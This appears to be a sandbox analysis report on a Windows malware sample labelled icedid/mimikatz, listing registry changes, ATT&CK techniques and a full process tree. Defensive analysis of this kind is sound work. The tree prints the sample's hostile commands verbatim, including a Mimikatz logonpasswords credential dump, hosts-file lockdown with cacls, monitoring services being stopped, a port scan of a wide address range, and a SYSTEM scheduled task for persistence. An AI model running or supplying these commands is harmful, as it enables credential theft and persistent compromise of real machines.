Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bjfisnrbq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yittybr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yittybr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vmlbqggye.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2080	cmd.exe
3164	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023cba-6.dat	nsis_installer_2
behavioral2/files/0x0007000000023cd0-15.dat	nsis_installer_1
behavioral2/files/0x0007000000023cd0-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	yittybr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	yittybr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	yittybr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	yittybr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	yittybr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	yittybr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	btjlhtrlh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	btjlhtrlh.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	yittybr.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3164	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2972	schtasks.exe
4104	schtasks.exe
864	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3264	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3264	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	4640	yittybr.exe
Token: SeDebugPrivilege	1648	yittybr.exe
Token: SeDebugPrivilege	3820	vfshost.exe
Token: SeDebugPrivilege	4560	btjlhtrlh.exe
Token: SeLockMemoryPrivilege	1968	ttlnnh.exe
Token: SeLockMemoryPrivilege	1968	ttlnnh.exe
Token: SeDebugPrivilege	2404	btjlhtrlh.exe
Token: SeDebugPrivilege	3132	btjlhtrlh.exe
Token: SeDebugPrivilege	4036	btjlhtrlh.exe
Token: SeDebugPrivilege	3324	btjlhtrlh.exe
Token: SeDebugPrivilege	3916	btjlhtrlh.exe
Token: SeDebugPrivilege	4920	btjlhtrlh.exe
Token: SeDebugPrivilege	2736	btjlhtrlh.exe
Token: SeDebugPrivilege	2696	btjlhtrlh.exe
Token: SeDebugPrivilege	2600	btjlhtrlh.exe
Token: SeDebugPrivilege	4540	btjlhtrlh.exe
Token: SeDebugPrivilege	4252	btjlhtrlh.exe
Token: SeDebugPrivilege	1500	btjlhtrlh.exe
Token: SeDebugPrivilege	3776	btjlhtrlh.exe
Token: SeDebugPrivilege	512	btjlhtrlh.exe
Token: SeDebugPrivilege	4588	btjlhtrlh.exe
Token: SeDebugPrivilege	1760	btjlhtrlh.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3264	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
3264	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
4640	yittybr.exe
4640	yittybr.exe
1648	yittybr.exe
1648	yittybr.exe
4104	xohudmc.exe
4832	ogmqci.exe
4588	yittybr.exe
4588	yittybr.exe
644	yittybr.exe
644	yittybr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3264 wrote to memory of 2080	3264	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe	82
PID 3264 wrote to memory of 2080	3264	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe	82
PID 3264 wrote to memory of 2080	3264	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe	82
PID 2080 wrote to memory of 3164	2080	cmd.exe	84
PID 2080 wrote to memory of 3164	2080	cmd.exe	84
PID 2080 wrote to memory of 3164	2080	cmd.exe	84
PID 2080 wrote to memory of 4640	2080	cmd.exe	89
PID 2080 wrote to memory of 4640	2080	cmd.exe	89
PID 2080 wrote to memory of 4640	2080	cmd.exe	89
PID 1648 wrote to memory of 2028	1648	yittybr.exe	91
PID 1648 wrote to memory of 2028	1648	yittybr.exe	91
PID 1648 wrote to memory of 2028	1648	yittybr.exe	91
PID 2028 wrote to memory of 2336	2028	cmd.exe	93
PID 2028 wrote to memory of 2336	2028	cmd.exe	93
PID 2028 wrote to memory of 2336	2028	cmd.exe	93
PID 2028 wrote to memory of 4364	2028	cmd.exe	94
PID 2028 wrote to memory of 4364	2028	cmd.exe	94
PID 2028 wrote to memory of 4364	2028	cmd.exe	94
PID 2028 wrote to memory of 2024	2028	cmd.exe	95
PID 2028 wrote to memory of 2024	2028	cmd.exe	95
PID 2028 wrote to memory of 2024	2028	cmd.exe	95
PID 2028 wrote to memory of 1276	2028	cmd.exe	96
PID 2028 wrote to memory of 1276	2028	cmd.exe	96
PID 2028 wrote to memory of 1276	2028	cmd.exe	96
PID 2028 wrote to memory of 4432	2028	cmd.exe	97
PID 2028 wrote to memory of 4432	2028	cmd.exe	97
PID 2028 wrote to memory of 4432	2028	cmd.exe	97
PID 2028 wrote to memory of 4068	2028	cmd.exe	98
PID 2028 wrote to memory of 4068	2028	cmd.exe	98
PID 2028 wrote to memory of 4068	2028	cmd.exe	98
PID 1648 wrote to memory of 1284	1648	yittybr.exe	100
PID 1648 wrote to memory of 1284	1648	yittybr.exe	100
PID 1648 wrote to memory of 1284	1648	yittybr.exe	100
PID 1648 wrote to memory of 2716	1648	yittybr.exe	102
PID 1648 wrote to memory of 2716	1648	yittybr.exe	102
PID 1648 wrote to memory of 2716	1648	yittybr.exe	102
PID 1648 wrote to memory of 864	1648	yittybr.exe	104
PID 1648 wrote to memory of 864	1648	yittybr.exe	104
PID 1648 wrote to memory of 864	1648	yittybr.exe	104
PID 1648 wrote to memory of 3744	1648	yittybr.exe	108
PID 1648 wrote to memory of 3744	1648	yittybr.exe	108
PID 1648 wrote to memory of 3744	1648	yittybr.exe	108
PID 3744 wrote to memory of 1848	3744	cmd.exe	110
PID 3744 wrote to memory of 1848	3744	cmd.exe	110
PID 3744 wrote to memory of 1848	3744	cmd.exe	110
PID 1848 wrote to memory of 2976	1848	wpcap.exe	111
PID 1848 wrote to memory of 2976	1848	wpcap.exe	111
PID 1848 wrote to memory of 2976	1848	wpcap.exe	111
PID 2976 wrote to memory of 984	2976	net.exe	113
PID 2976 wrote to memory of 984	2976	net.exe	113
PID 2976 wrote to memory of 984	2976	net.exe	113
PID 1848 wrote to memory of 2324	1848	wpcap.exe	114
PID 1848 wrote to memory of 2324	1848	wpcap.exe	114
PID 1848 wrote to memory of 2324	1848	wpcap.exe	114
PID 2324 wrote to memory of 1904	2324	net.exe	116
PID 2324 wrote to memory of 1904	2324	net.exe	116
PID 2324 wrote to memory of 1904	2324	net.exe	116
PID 1848 wrote to memory of 3608	1848	wpcap.exe	117
PID 1848 wrote to memory of 3608	1848	wpcap.exe	117
PID 1848 wrote to memory of 3608	1848	wpcap.exe	117
PID 3608 wrote to memory of 1400	3608	net.exe	119
PID 3608 wrote to memory of 1400	3608	net.exe	119
PID 3608 wrote to memory of 1400	3608	net.exe	119
PID 1848 wrote to memory of 3340	1848	wpcap.exe	120

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1160
- C:\Windows\TEMP\lntjubmbe\ttlnnh.exe
  "C:\Windows\TEMP\lntjubmbe\ttlnnh.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1968

C:\Users\Admin\AppData\Local\Temp\2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tllefmnq\yittybr.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3164
- - C:\Windows\tllefmnq\yittybr.exe
    C:\Windows\tllefmnq\yittybr.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4640

C:\Windows\tllefmnq\yittybr.exe
C:\Windows\tllefmnq\yittybr.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2336
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2024
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4432
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4068
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1284
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2716
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:864
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ppgkyibiq\ihnqsqiep\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\ppgkyibiq\ihnqsqiep\wpcap.exe
    C:\Windows\ppgkyibiq\ihnqsqiep\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:984
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2324
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1904
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3608
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:1400
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3340
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:4656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3384
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:2128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3896
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:1980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ppgkyibiq\ihnqsqiep\bjfisnrbq.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ppgkyibiq\ihnqsqiep\Scant.txt
  2⤵
  PID:656
- - C:\Windows\ppgkyibiq\ihnqsqiep\bjfisnrbq.exe
    C:\Windows\ppgkyibiq\ihnqsqiep\bjfisnrbq.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ppgkyibiq\ihnqsqiep\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ppgkyibiq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ppgkyibiq\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:4208
- - C:\Windows\ppgkyibiq\Corporate\vfshost.exe
    C:\Windows\ppgkyibiq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3820
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "yllebvbbl" /ru system /tr "cmd /c C:\Windows\ime\yittybr.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:572
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "yllebvbbl" /ru system /tr "cmd /c C:\Windows\ime\yittybr.exe"
    3⤵
    - System Location Discovery: System Language Discovery
